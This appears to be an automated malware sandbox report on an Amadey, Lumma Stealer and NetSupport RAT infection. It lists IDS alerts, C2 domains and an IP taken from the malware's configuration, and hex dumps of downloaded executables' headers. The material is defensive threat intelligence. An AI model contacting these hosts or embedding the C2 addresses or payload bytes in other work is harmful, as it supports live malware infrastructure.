Source:	Binary string: protobuf-net.pdbSHA256}Lq source: 855fa1aa94.exe, 0000000C.00000002.2695578636.0000000002FE1000.00000004.00000800.00020000.00000000.sdmp, 855fa1aa94.exe, 0000000C.00000002.2698113110.00000000040AD000.00000004.00000800.00020000.00000000.sdmp, 855fa1aa94.exe, 0000000C.00000002.2698113110.0000000003FE1000.00000004.00000800.00020000.00000000.sdmp, 855fa1aa94.exe, 0000000C.00000002.2700875788.0000000005650000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\htctl32.pdb source: FuturreApp.exe, 00000007.00000002.3009337434.000000006C2C0000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: E:\nsmsrc\nsm\1210\1210\ctl32\Release\pcicapi.pdb source: FuturreApp.exe, 00000007.00000002.3008733860.000000006C105000.00000002.00000001.01000000.0000000F.sdmp
Source:	Binary string: protobuf-net.pdb source: 855fa1aa94.exe, 0000000C.00000002.2695578636.0000000002FE1000.00000004.00000800.00020000.00000000.sdmp, 855fa1aa94.exe, 0000000C.00000002.2698113110.00000000040AD000.00000004.00000800.00020000.00000000.sdmp, 855fa1aa94.exe, 0000000C.00000002.2698113110.0000000003FE1000.00000004.00000800.00020000.00000000.sdmp, 855fa1aa94.exe, 0000000C.00000002.2700875788.0000000005650000.00000004.08000000.00040000.00000000.sdmp

Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe

Directory queried: number of queries: 1001

Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Code function: 6_2_00B6A273 FindFirstFileW,FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,		6_2_00B6A273
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Code function: 6_2_00B7A537 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,		6_2_00B7A537

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.4:49753 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.4:49764
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49788 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49813 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49835 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49872 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49904 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49922 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2827745 - Severity 1 - ETPRO MALWARE NetSupport RAT CnC Activity : 192.168.2.4:49785 -> 185.215.113.64:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49812 -> 104.21.91.209:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49812 -> 104.21.91.209:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49826 -> 104.21.91.209:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49820 -> 104.21.91.209:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49820 -> 104.21.91.209:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49934 -> 104.21.91.209:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49934 -> 104.21.91.209:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49874 -> 104.21.91.209:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: rapeflowwj.lat
Source: Malware configuration extractor	URLs: aspecteirs.lat
Source: Malware configuration extractor	URLs: energyaffai.lat
Source: Malware configuration extractor	URLs: discokeyus.lat
Source: Malware configuration extractor	URLs: necklacebudi.lat
Source: Malware configuration extractor	URLs: crosshuaht.lat
Source: Malware configuration extractor	URLs: sustainskelet.lat
Source: Malware configuration extractor	URLs: treehoneyi.click
Source: Malware configuration extractor	URLs: grannyejh.lat
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 19 Dec 2024 19:11:11 GMTContent-Type: application/octet-streamContent-Length: 2138232Last-Modified: Thu, 19 Dec 2024 18:10:23 GMTConnection: keep-aliveETag: "6764618f-20a078"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 f3 9f 7e 98 b7 fe 10 cb b7 fe 10 cb b7 fe 10 cb 03 62 e1 cb bc fe 10 cb 03 62 e3 cb 3c fe 10 cb 03 62 e2 cb af fe 10 cb 29 5e d7 cb b6 fe 10 cb 8c a0 13 ca a1 fe 10 cb 8c a0 14 ca a4 fe 10 cb 8c a0 15 ca 9b fe 10 cb be 86 93 cb bd fe 10 cb be 86 83 cb b2 fe 10 cb b7 fe 11 cb bc ff 10 cb 20 a0 15 ca 87 fe 10 cb 20 a0 10 ca b6 fe 10 cb 25 a0 ef cb b6 fe 10 cb 20 a0 12 ca b6 fe 10 cb 52 69 63 68 b7 fe 10 cb 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 7e ea 72 5c 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 ea 02 00 00 ac 01 00 00 00 00 00 79 d7 01 00 00 10 00 00 00 00 03 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 e0 06 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 d0 8c 03 00 34 00 00 00 04 8d 03 00 3c 00 00 00 00 d0 05 00 34 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 06 00 d0 1f 00 00 e0 6e 03 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 19 03 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 03 00 5c 02 00 00 54 82 03 00 20 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 64 e8 02 00 00 10 00 00 00 ea 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 ac 9a 00 00 00 00 03 00 00 9c 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 d0 13 02 00 00 a0 03 00 00 0c 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 67 66 69 64 73 00 00 e8 00 00 00 00 c0 05 00 00 02 00 00 00 96 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 34 e0 00 00 00 d0 05 00 00 e2 00 00 00 98 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d0 1f 00 00 00 c0 06 00 00 20 00 00 00 7a 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 19 Dec 2024 19:11:20 GMTContent-Type: application/octet-streamContent-Length: 1885696Last-Modified: Wed, 18 Dec 2024 18:20:46 GMTConnection: keep-aliveETag: "6763127e-1cc600"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 d1 3c 5f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 ec 03 00 00 ae 00 00 00 00 00 00 00 80 4a 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 4a 00 00 04 00 00 25 2d 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 30 05 00 68 00 00 00 00 20 05 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 31 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 10 05 00 00 10 00 00 00 48 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 f0 01 00 00 00 20 05 00 00 02 00 00 00 58 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 30 05 00 00 02 00 00 00 5a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 e0 2a 00 00 40 05 00 00 02 00 00 00 5c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 75 7a 78 64 77 79 76 69 00 50 1a 00 00 20 30 00 00 42 1a 00 00 5e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 65 66 7a 64 6c 64 69 67 00 10 00 00 00 70 4a 00 00 04 00 00 00 a0 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 80 4a 00 00 22 00 00 00 a4 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 19 Dec 2024 19:11:29 GMTContent-Type: application/octet-streamContent-Length: 1114112Last-Modified: Thu, 19 Dec 2024 03:43:46 GMTConnection: keep-aliveETag: "67639672-110000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 24 95 63 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 cc 10 00 00 32 00 00 00 00 00 00 ee ea 10 00 00 20 00 00 00 00 11 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 60 11 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 94 ea 10 00 57 00 00 00 00 00 11 00 48 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 11 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 ca 10 00 00 20 00 00 00 cc 10 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 48 2f 00 00 00 00 11 00 00 30 00 00 00 ce 10 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 40 11 00 00 02 00 00 00 fe 10 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 ea 10 00 00 00 00 00 48 00 00 00 02 00 05 00 f0 3c 10 00 a4 ad 00 00 03 00 00 00 4b 00 00 06 90 cc 00 00 60 70 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fe 59 3f a8 46 36 30 84 8d 99 35 b2 d7 ba 38 1a 04 e1 c1 34 7a 63 cb 3a 03 56 92 13 f5 e3 07 ce b0 b7 af 4e 86 30 c8 a0 a9 18 31 bb 9b aa d3 d6 97 4f 2a 18 53 9a e6 7e 04 d9 f6 cb a2 c0 0c f1 49 85 ff a2 70 52 05 b8 69 49 c0 d2 09 93 f6 80 50 6e 7d 9b 0e d8 a3 69 4a 21 42 48 8d 2b 6f 2f 53 ce de 79 6a a1 0e 91 38 54 27 cb 7d fa c0 ca 0f 79 ae 49 a7 6b 44 18 0d cd ef cf 27 f4 88 c7 1c f4 24 c4 36 fa f9 8d ca 7d ad 9c 77 5b db 20 29 e0 89 13 6a 80 07 5b bd 2d 16 d1 30 b8 af 9b bc 7c 7f 95 97 70 cc 12 c3 e3 68 5c 1f ff 4c 8a be b5 18 52 d9 54 96 7e 14 b4 9a 8f 1a 04 62 14 4b 86 68 b2 f1 85 12 0a 22 07 38 c7 73 60 29 e1 f6 9a 31 dd bf b1 13 20 c5 cc aa 98 9e 5b 69 26 ce 39 95 e8 9a 8a 81 a4 61 3f 19 46 03 89 4e 1d d7 98 7e f5 ff cd 5f 12 5e 7f 1b 8e 51 88 1e b8 db bc e6 34 33 f7 4c 97 80 01 81 c2 40 76 b3 89 e6 78 c5 ae 07 49 42 ed 34 de da f1 ba c2 0c 8a b7 f3 9a f3 f4 ac 7c bc 00 05 b9 9e c6 28 8a f1 f1 82 ed c7 cc a1 03 ab 7e 18 59 f7
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 19 Dec 2024 19:11:36 GMTContent-Type: application/octet-streamContent-Length: 4421632Last-Modified: Thu, 19 Dec 2024 18:09:11 GMTConnection: keep-aliveETag: "67646147-437800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e0 55 60 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 3e 44 00 00 2e 64 00 00 32 00 00 00 90 b4 00 00 10 00 00 00 50 44 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 c0 b4 00 00 04 00 00 11 50 44 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 90 61 00 73 00 00 00 00 80 61 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c4 7a b4 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 74 7a b4 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 70 61 00 00 10 00 00 00 3e 28 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 80 61 00 00 02 00 00 00 4e 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 90 61 00 00 02 00 00 00 50 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 e0 37 00 00 a0 61 00 00 02 00 00 00 52 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6a 6a 6e 68 6a 67 6f 77 00 00 1b 00 00 80 99 00 00 fe 1a 00 00 54 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 65 73 75 79 72 75 66 64 00 10 00 00 00 80 b4 00 00 04 00 00 00 52 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 90 b4 00 00 22 00 00 00 56 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 19 Dec 2024 19:11:49 GMTContent-Type: application/octet-streamContent-Length: 4423680Last-Modified: Thu, 19 Dec 2024 18:54:08 GMTConnection: keep-aliveETag: "67646bd0-438000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 09 98 63 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 56 48 00 00 fc 76 00 00 32 00 00 00 50 c7 00 00 10 00 00 00 70 48 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 80 c7 00 00 04 00 00 41 79 44 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 70 74 00 73 00 00 00 00 60 74 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 33 c7 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 33 c7 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 50 74 00 00 10 00 00 00 4c 28 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 ac 01 00 00 00 60 74 00 00 02 00 00 00 5c 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 70 74 00 00 02 00 00 00 5e 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 c0 37 00 00 80 74 00 00 02 00 00 00 60 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 63 74 6b 6e 61 6f 68 64 00 00 1b 00 00 40 ac 00 00 f6 1a 00 00 62 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 74 74 65 65 64 70 6a 70 00 10 00 00 00 40 c7 00 00 06 00 00 00 58 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 50 c7 00 00 22 00 00 00 5e 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 19 Dec 2024 19:12:01 GMTContent-Type: application/octet-streamContent-Length: 1374720Last-Modified: Thu, 19 Dec 2024 17:14:58 GMTConnection: keep-aliveETag: "67645492-14fa00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 0a 00 e0 68 17 44 00 8c 14 00 e1 14 00 00 e0 00 26 03 0b 01 02 26 00 c8 0b 00 00 f6 14 00 00 04 00 00 80 14 00 00 00 10 00 00 00 e0 0b 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 70 15 00 00 04 00 00 5c 55 1a 00 02 00 40 01 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 50 14 00 08 1c 00 00 00 90 14 00 2c 6c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 15 00 bc 63 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 8e 12 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 54 14 00 b0 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 b8 c7 0b 00 00 10 00 00 00 c8 0b 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 60 2e 64 61 74 61 00 00 00 48 01 00 00 00 e0 0b 00 00 02 00 00 00 cc 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 64 61 74 61 00 00 98 a1 06 00 00 f0 0b 00 00 a2 06 00 00 ce 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 65 68 5f 66 72 61 6d ec 94 01 00 00 a0 12 00 00 96 01 00 00 70 12 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 62 73 73 00 00 00 00 34 02 00 00 00 40 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 69 64 61 74 61 00 00 08 1c 00 00 00 50 14 00 00 1e 00 00 00 06 14 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 43 52 54 00 00 00 00 38 00 00 00 00 70 14 00 00 02 00 00 00 24 14 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 6c 73 00 00 00 00 08 00 00 00 00 80 14 00 00 02 00 00 00 26 14 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 